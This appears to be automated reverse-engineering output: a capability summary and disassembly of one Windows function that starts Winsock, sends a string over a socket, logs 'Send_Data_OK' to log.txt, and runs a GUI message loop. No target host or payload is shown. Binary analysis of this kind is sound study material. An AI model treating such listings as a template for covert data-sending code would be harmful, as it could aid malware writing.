Function at 0x4025b0
Capabilities:
Create thread
Initialize winsock library
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2dc
mov eax, dword [0x41f74c]
xor eax, esp
mov dword [esp + 0x2d8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x48]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00402160
lea esi, [esp + 0x2c]
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], 0
mov byte [esp + 0x30], 0
call fcn.00402200
mov esi, dword [esp + 0x44]
mov ebx, dword [esp + 0x30]
mov eax, ebx
cmp esi, 0x10
jae 0x402616
lea eax, [esp + 0x30]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402620
sub eax, edx
mov ecx, ebx
cmp esi, 0x10
jae 0x402634
lea ecx, [esp + 0x30]
push 0
push eax
push ecx
mov ecx, dword [0x421544]
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x402712
push 0x41c970
push str.log.txt
call fcn.00405b80
mov edx, dword [str.Send_Data_OK]
mov ecx, dword [0x41c984]
mov esi, eax
mov eax, dword [0x41c980]
push 0xf6
mov dword [esp + 0x1e8], eax
mov dword [esp + 0x1e4], edx
mov dx, word [0x41c988]
lea eax, [esp + 0x1f2]
push 0
push eax
mov dword [esp + 0x1f4], ecx
mov word [esp + 0x1f8], dx
call fcn.00406530
lea eax, [esp + 0x1ec]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4026b4
push esi
sub eax, edx
push 1
push eax
lea ecx, [esp + 0x1e4]
push ecx
call fcn.00405cf9
push esi
call fcn.00405df2
add esp, 0x14
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
cmp dword [esp + 0x44], 0x10
jb 0x4026f9
mov edx, dword [esp + 0x30]
push edx
call fcn.00405855
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2d8]
xor ecx, esp
call fcn.004053b4
mov esp, ebp
pop ebp
ret 0x10
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0x402500
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.USER32.dll_LoadStringA]
push 0x64
push 0x421478
push 0x67
push edi
call esi
push 0x64
push 0x4214e0
push 0x6d
push edi
call esi
mov eax, edi
call fcn.00402850
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0xcf0000
push 0x421478
push 0x4214e0
push 0
mov dword [0x4214dc], edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
je 0x40281b
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea edx, [esp + 0x18]
push edx
mov esi, eax
call edi
test eax, eax
je 0x4027ea
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorA]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0xc]
push eax
push esi
push ecx
call ebx
test eax, eax
jne 0x4027d9
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea ecx, [esp + 0x18]
push ecx
call edi
test eax, eax
jne 0x4027b2
cmp dword [esp + 0x44], 0x10
mov esi, dword [esp + 0x14]
jb 0x402802
mov edx, dword [esp + 0x30]
push edx
call fcn.00405855
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2d8]
xor ecx, esp
call fcn.004053b4
mov esp, ebp
pop ebp
ret 0x10
cmp dword [esp + 0x44], 0x10
jb 0x4026f9
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00405855
mov ecx, dword [esp + 0x2e8]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004053b4
mov esp, ebp
pop ebp
ret 0x10